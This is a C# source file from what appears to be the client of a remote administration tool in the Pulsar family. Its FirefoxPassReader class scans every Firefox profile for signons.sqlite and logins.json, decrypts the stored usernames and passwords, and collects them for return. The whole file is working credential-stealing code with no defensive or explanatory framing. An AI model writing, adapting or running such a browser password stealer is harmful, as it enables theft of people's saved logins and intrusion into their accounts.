using Pulsar.Client.Helper; using Pulsar.Client.Recovery.Utilities; using Pulsar.Common.Models; using SharpDX.Direct3D11; using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Runtime.Serialization; namespace Pulsar.Client.Recovery.Browsers { public class FirefoxPassReader { /// public static List ReadAccounts(string profiles, string name) { string[] dirs = Directory.GetDirectories(profiles); var logins = new List(); if (dirs.Length == 0) return logins; foreach (string dir in dirs) { string signonsFile = string.Empty; string loginsFile = string.Empty; bool signonsFound = false; bool loginsFound = false; string[] files = Directory.GetFiles(dir, "signons.sqlite"); if (files.Length > 0) { signonsFile = files[0]; signonsFound = true; } files = Directory.GetFiles(dir, "logins.json"); if (files.Length > 0) { loginsFile = files[0]; loginsFound = true; } if (loginsFound || signonsFound) { using (var decrypter = new FFDecryptor()) { var r = decrypter.Init(dir); if (signonsFound) { SQLiteHandler sqlDatabase; if (!File.Exists(signonsFile)) return logins; try { sqlDatabase = new SQLiteHandler(signonsFile); } catch (Exception) { return logins; } if (!sqlDatabase.ReadTable("moz_logins")) return logins; for (int i = 0; i < sqlDatabase.GetRowCount(); i++) { try { var host = sqlDatabase.GetValue(i, "hostname"); var user = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedUsername")); var pass = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedPassword")); if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(user)) { logins.Add(new RecoveredAccount { Url = host, Username = user, Password = pass, Application = name }); } } catch (Exception) { // ignore invalid entry } } } if (loginsFound) { FFLogins ffLoginData; using (var sr = File.OpenRead(loginsFile)) { ffLoginData = JsonHelper.Deserialize(sr); } foreach (Login loginData in ffLoginData.Logins) { string username = decrypter.Decrypt(loginData.EncryptedUsername); string password = decrypter.Decrypt(loginData.EncryptedPassword); logins.Add(new RecoveredAccount { Username = username, Password = password, Url = loginData.Hostname.ToString(), Application = name }); } } } } } return logins; } [DataContract] private class FFLogins { [DataMember(Name = "nextId")] public long NextId { get; set; } [DataMember(Name = "logins")] public Login[] Logins { get; set; } [IgnoreDataMember] [DataMember(Name = "potentiallyVulnerablePasswords")] public object[] PotentiallyVulnerablePasswords { get; set; } [IgnoreDataMember] [DataMember(Name = "dismissedBreachAlertsByLoginGUID")] public DismissedBreachAlertsByLoginGuid DismissedBreachAlertsByLoginGuid { get; set; } [DataMember(Name = "version")] public long Version { get; set; } } [DataContract] private class DismissedBreachAlertsByLoginGuid { } [DataContract] private class Login { [DataMember(Name = "id")] public long Id { get; set; } [DataMember(Name = "hostname")] public Uri Hostname { get; set; } [DataMember(Name = "httpRealm")] public object HttpRealm { get; set; } [DataMember(Name = "formSubmitURL")] public Uri FormSubmitUrl { get; set; } [DataMember(Name = "usernameField")] public string UsernameField { get; set; } [DataMember(Name = "passwordField")] public string PasswordField { get; set; } [DataMember(Name = "encryptedUsername")] public string EncryptedUsername { get; set; } [DataMember(Name = "encryptedPassword")] public string EncryptedPassword { get; set; } [DataMember(Name = "guid")] public string Guid { get; set; } [DataMember(Name = "encType")] public long EncType { get; set; } [DataMember(Name = "timeCreated")] public long TimeCreated { get; set; } [DataMember(Name = "timeLastUsed")] public long TimeLastUsed { get; set; } [DataMember(Name = "timePasswordChanged")] public long TimePasswordChanged { get; set; } [DataMember(Name = "timesUsed")] public long TimesUsed { get; set; } } } }